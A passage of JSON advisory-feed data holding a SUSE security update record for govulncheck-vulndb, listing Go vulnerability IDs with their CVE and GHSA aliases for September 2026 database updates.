GHSA-p2w3-6x73-2f6x\n","status":"published","published":"2026-09-21T12:24:57Z","modified":"2026-09-27T18:23:15.791415126Z","updated_at":"2026-11-02T15:54:03.991985Z"},{"id":"SUSE-SU-2026:23863-1","title":"Security update for govulncheck-vulndb","description":"This update for govulncheck-vulndb fixes the following issues:\n\nChanges for govulncheck-vulndb:\n\n- Update to version 0.0.20260916T180043 2026-09-16T18:00:43Z (jsc#PED-11136).\n\n Go CVE Numbering Authority IDs added or updated with aliases:\n * GO-2026-6348 CVE-2026-84304 GHSA-vp52-pcj8-j9qc\n * GO-2026-6356 CVE-2026-65959 GHSA-mhc4-g3wh-cw7m\n * GO-2026-6366 CVE-2026-61625 GHSA-8q3c-rjr9-xxrp\n * GO-2026-6372 CVE-2026-79921 GHSA-6c5v-hqjr-5xxp\n * GO-2026-6441 CVE-2026-84303 GHSA-qc2q-p7wx-3px3\n * GO-2026-6443 CVE-2026-84445 GHSA-2v4p-qf9q-27wj\n * GO-2026-6444 CVE-2026-53495 GHSA-7jxh-36q5-gcqv\n * GO-2026-6445 CVE-2025-58363 GHSA-c23q-fw86-9h5x\n * GO-2026-6446 CVE-2025-24978 GHSA-g8rh-fjm6-h2h9\n * GO-2026-6447 CVE-2025-24979 GHSA-pqqc-8v73-9gg2\n * GO-2026-6448 CVE-2026-59185 GHSA-cp3j-m783-3ph5\n * GO-2026-6449 GHSA-hxjg-93wc-h8p8\n * GO-2026-6450 CVE-2026-59172 GHSA-m835-3cm9-rggg\n * GO-2026-6451 CVE-2026-59157 GHSA-v25g-mvwr-f5fp\n * GO-2026-6452 CVE-2026-59162 GHSA-fx5j-qcqg-grpf\n * GO-2026-6453 CVE-2026-59161 GHSA-q5j5-6p94-4gwc\n * GO-2026-6454 CVE-2026-88012 GHSA-7ghq-v6jf-g56c\n * GO-2026-6455 CVE-2026-88011 GHSA-rf44-j88r-hh8c\n * GO-2026-6456 CVE-2026-88045 GHSA-2p48-j3qc-rx9f\n * GO-2026-6457 CVE-2026-88046 GHSA-38xv-hf3p-h7mq\n * GO-2026-6458 CVE-2026-88017 GHSA-c476-6w5q-jw77\n * GO-2026-6459 CVE-2026-88016 GHSA-f8g7-2xjc-7mfh\n * GO-2026-6460 CVE-2026-88044 GHSA-p569-5gjg-9cmj\n * GO-2026-6461 CVE-2026-88015 GHSA-p6m2-r3w9-mpxw\n * GO-2026-6462 CVE-2026-88018 GHSA-xwwr-4h3p-r22c\n * GO-2026-6463 CVE-2026-88013 GHSA-486v-q2wf-fp2r\n * GO-2026-6464 CVE-2026-88014 GHSA-66hp-wgxq-6f5q\n * GO-2026-6465 CVE-2026-88009 GHSA-f52w-8j3h-j724\n * GO-2026-6466 CVE-2026-88007 GHSA-qqjf-53cj-pwvv\n * GO-2026-6467 CVE-2026-88004 GHSA-v67p-phpq-fc8x\n * GO-2026-6468 CVE-2026-88008 GHSA-w4v4-9rw7-5326\n * GO-2026-6469 CVE-2026-56665 GHSA-v77h-2w3m-94hx\n * GO-2026-6470 CVE-2026-56666 GHSA-992q-9gwp-7r79\n * GO-2026-6473 CVE-2026-76081 GHSA-v859-c572-qh5p\n * GO-2026-6474 CVE-2026-56668 GHSA-vrh8-c9cm-wh8v\n- Update to version 0.0.20260910T144842 2026-09-10T14:48:42Z.\n * GO-2026-6302 GHSA-mf7q-r4rv-jv94\n * GO-2026-6343 CVE-2026-25782 GHSA-qm72-8prh-g92x\n * GO-2026-6344 CVE-2026-26292 GHSA-rc56-rj3f-xggf\n * GO-2026-6345 CVE-2026-27779 GHSA-v8f2-2ghq-9whv\n * GO-2026-6346 CVE-2026-27780 GHSA-vhq7-fwwh-7hjf\n * GO-2026-6347 CVE-2026-27660 GHSA-x92v-f5gc-r34v\n * GO-2026-6350 CVE-2026-59832 GHSA-275h-v5h9-vr82\n * GO-2026-6351 CVE-2026-72920 GHSA-2v6v-25fm-p4fg\n * GO-2026-6353 CVE-2026-59834 GHSA-h89q-4j2h-7h88\n * GO-2026-6357 CVE-2026-73667 GHSA-2mw5-23gm-pccq\n * GO-2026-6358 CVE-2026-73841 GHSA-52gf-6rpq-fgmx\n * GO-2026-6359 CVE-2026-67446 GHSA-75mr-qw9x-3r39\n * GO-2026-6360 CVE-2026-73840 GHSA-c5f6-2rm9-2w8g\n * GO-2026-6361 CVE-2026-72921 GHSA-gv5w-hfx8-8cwq\n * GO-2026-6362 CVE-2026-73843 GHSA-qh9r-j7rp-4x2m\n * GO-2026-6363 CVE-2026-67445 GHSA-w878-pj84-3j5v\n * GO-2026-6364 GHSA-99rq-75j6-5j9f\n * GO-2026-6365 GHSA-gw25-m53r-qh88\n * GO-2026-6367 CVE-2026-56743 GHSA-fm8w-2m5w-9j7r\n * GO-2026-6368 CVE-2026-75602 GHSA-h6cj-26g5-67fv\n * GO-2026-6369 CVE-2026-73232 GHSA-jcvh-xf52-2cwm\n * GO-2026-6370 CVE-2026-73292 GHSA-8cj9-r88m-8945\n * GO-2026-6371 CVE-2026-73293 GHSA-cxvf-gvfq-36w2\n * GO-2026-6373 CVE-2026-69086 GHSA-7hm9-v7vf-7g4w\n * GO-2026-6374 CVE-2026-69083 GHSA-fph3-ghq9-vw66\n * GO-2026-6377 CVE-2026-69084 GHSA-vh22-h7hf-www7\n * GO-2026-6379 CVE-2026-68586 GHSA-36v8-mpjm-8j5r\n * GO-2026-6381 CVE-2026-68587 GHSA-69mh-gvh4-8gp7\n * GO-2026-6382 CVE-2026-68584 GHSA-7j72-f6wg-cxw6\n * GO-2026-6384 CVE-2026-68585 GHSA-pm3w-vxp9-ccwc\n * GO-2026-6386 CVE-2026-72809 GHSA-3mp7-4rh5-jrv9\n * GO-2026-6387 CVE-2026-72805 GHSA-67x2-mq63-v9vm\n * GO-2026-6388 CVE-2026-72806 GHSA-6mcf-g667-w3qv\n * GO-2026-6392 CVE-2026-72801 GHSA-8x84-r2ff-h8pq\n * GO-2026-6395 CVE-2026-72800 GHSA-5fhr-f75j-8wr9\n * GO-2026-6398 CVE-2026-72802 GHSA-jv8v-xq2h-657v\n * GO-2026-6400 CVE-2026-72810 GHSA-mw8r-mw84-88v2\n * GO-2026-6402 CVE-2026-72811 GHSA-q2vg-7qgx-x5fc\n * GO-2026-6404 CVE-2026-72803 GHSA-qvq9-hq6p-v378\n * GO-2026-6406 CVE-2026-72808 GHSA-v7ph-r5r6-4jcj\n * GO-2026-6407 CVE-2026-72804 GHSA-vpjw-wf5h-cgpq\n * GO-2026-6408 CVE-2026-72812 GHSA-wgwx-479j-23vq\n * GO-2026-6410 CVE-2026-72807 GHSA-x67c-8pwr-m8g3\n * GO-2026-6411 CVE-2026-11720 GHSA-vwxw-jrg6-9jxv\n * GO-2026-6412 CVE-2026-72799 GHSA-5w7r-f4cg-rqq7\n * GO-2026-6414 CVE-2026-72797 GHSA-f2rw-w22v-54vh\n * GO-2026-6415 CVE-2026-72798 GHSA-mfrj-v65r-979c\n * GO-2026-6420 CVE-2026-72794 GHSA-34fj-mwm6-fjfg\n * GO-2026-6423 CVE-2026-72796 GHSA-fgmr-7w36-9qfq\n * GO-2026-6424 CVE-2026-72793 GHSA-h4v5-crx2-3cv4\n * GO-2026-6425 CVE-2026-72795 GHSA-h6w7-xxcf-w2mq\n * GO-2026-6427 CVE-2026-72792 GHSA-mp7r-57w4-5qm3\n * GO-2026-6428 CVE-2026-73842 GHSA-rh53-xvx2-j327\n * GO-2026-6430 GHSA-57v5-wqx3-cgj4\n * GO-2026-6431 CVE-2026-72790 GHSA-74pj-6g7r-j55c\n * GO-2026-6433 CVE-2026-60004 GHSA-rcr6-4jqh-j84m\n * GO-2026-6434 CVE-2026-72789 GHSA-v684-q882-jgmq\n * GO-2026-6435 CVE-2026-73294 GHSA-xp7j-h7jc-4w8p\n * GO-2026-6437 CVE-2026-71494 GHSA-6x6c-w9w9-hv4h\n * GO-2026-6439 CVE-2026-71493 GHSA-mmg6-4qmv-6pc8\n * GO-2026-6440 CVE-2026-73087 GHSA-p2w3-6x73-2f6x\n","status":"published","published":"2026-09-21T12:24:57Z","modified":"2026-09-27T18:23:16.587575494Z","updated_at":"2026-11-02T15:54:03.991985Z"}]}}